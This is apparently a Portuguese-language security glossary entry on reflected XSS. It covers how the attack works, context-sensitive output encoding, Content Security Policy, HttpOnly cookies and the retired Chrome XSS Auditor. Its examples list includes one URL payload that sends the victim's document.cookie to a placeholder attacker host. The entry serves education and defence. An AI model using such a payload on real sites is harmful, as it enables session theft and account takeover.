XSS Refletido
O que é XSS Refletido?
XSS RefletidoXSS não persistente em que a entrada controlada pelo atacante é imediatamente refletida na resposta e executada no navegador da vítima.
O XSS refletido (não persistente, Tipo 1) ocorre quando uma aplicação web recebe dados de uma requisição HTTP — normalmente um parâmetro de URL ou campo de formulário — e os ecoa na resposta sem codificação de saída adequada. O ataque requer que a vítima clique num link forjado, sendo geralmente distribuído por phishing, malvertising ou mensagens. A exploração bem-sucedida permite roubar cookies de sessão, executar ações em nome do utilizador ou levar a uma tomada total de conta. As defesas incluem codificação HTML sensível ao contexto, uma Content Security Policy rigorosa e frameworks que fazem auto-escape dos templates.
Anatomia de um ataque de XSS refletido
flowchart LR A[O atacante forja um link com script num parametro] --> B[Distribui via phishing / anuncio / chat] B --> C[A vitima clica no link] C --> D[A app reflete a entrada sem codificar] D --> E[O navegador executa o script na sessao] E --> F[Roubo de cookie / acoes como o utilizador / tomada de conta]
Por que o payload deve ser codificado conforme o seu contexto
A subtileza que define o XSS é que a «codificação» é específica do contexto: o mesmo valor é seguro num local e perigoso noutro. Dados colocados em texto HTML precisam de codificação de entidades HTML; num atributo, de codificação de atributo e aspas; num bloco <script> ou manipulador de eventos, de codificação de string JavaScript; e numa URL, de codificação de URL. Um único passo de codificação aplicado às cegas falhará nos casos em que o mesmo parâmetro é refletido em vários contextos. Os motores de templates que escapam por omissão (JSX do React, Angular ou templating do lado do servidor com escape contextual) eliminam a maioria do XSS refletido, desde que se evitem atalhos como dangerouslySetInnerHTML ou innerHTML.
Os filtros do navegador já não são uma defesa. A Google removeu o XSS Auditor do Chrome na versão 78 (outubro de 2019) porque era facilmente contornável, gerava falsos positivos e podia ser abusado para desativar seletivamente scripts legítimos; o cabeçalho X-XSS-Protection que ele respeitava está hoje praticamente obsoleto. Os controlos duradouros são a codificação de saída sensível ao contexto, uma Content Security Policy rigorosa (idealmente baseada em nonce ou hash), cookies HttpOnly para que um script roubado não consiga ler a sessão, e a validação de entrada como defesa em profundidade em vez de barreira principal.
● Exemplos
- 01
https://exemplo.com/search?q=<script>document.location='https://mau/?c='+document.cookie</script>
- 02
Página de erro que reflete um parâmetro 'message' sem sanitização diretamente no DOM.
● Perguntas frequentes
O que é XSS Refletido?
XSS não persistente em que a entrada controlada pelo atacante é imediatamente refletida na resposta e executada no navegador da vítima. Pertence à categoria Ataques e ameaças da cibersegurança.
O que significa XSS Refletido?
XSS não persistente em que a entrada controlada pelo atacante é imediatamente refletida na resposta e executada no navegador da vítima.
Como se defender contra XSS Refletido?
As defesas contra XSS Refletido costumam combinar controles técnicos e práticas operacionais, conforme detalhado na definição acima.
Quais são outros nomes para XSS Refletido?
Nomes alternativos comuns: XSS não persistente, XSS Tipo 1.